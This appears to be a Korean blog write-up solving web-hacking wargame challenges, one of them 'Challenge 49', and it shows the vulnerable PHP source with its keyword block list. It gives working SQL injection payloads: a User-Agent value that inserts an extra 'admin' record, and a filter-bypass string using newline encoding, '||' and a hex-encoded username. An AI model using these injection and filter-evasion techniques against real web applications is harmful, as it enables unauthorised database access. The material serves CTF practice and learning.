HTTP REQUEST HEADER user-agent 값에 aaaa','192.168.10.10','admin'),('bbbb 라고 입력하면된다.

그러면 INSERT INTO lv0 (agent, ip, id) VALUES ('aaaa','192.168.10.10','admin'),('bbbb', '192.168.10.10','guest') 같이 입력이 돼서

2개 레코드가 한방에 lv0 테이블에 삽입된다.


그후 HTTP REQUEST HEADER user-agent에 aaaa라고 입력해서 서버로 요청을 보내면 

select id from lv0 where agent='aaaa' 쿼리를 처리하게 되고 agent가 aaaa인 레코드의 id 값은 admin 이므로 solve()함수가 호출된다.



<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

2009-11-13 20:00:00 

필터된 문자

union

from

select

or

and

(, )

limit

,

/

by

desc

asc

cash

공백

%09




SELECT id from members where lv=$_GET[lv]

id가 admin이면 된다. lv=1000 || id=0x61646d696e

공백은 %0a로 채워준다. lv=1000%0a||%0aid=0x61646d696e%23







+ Recent posts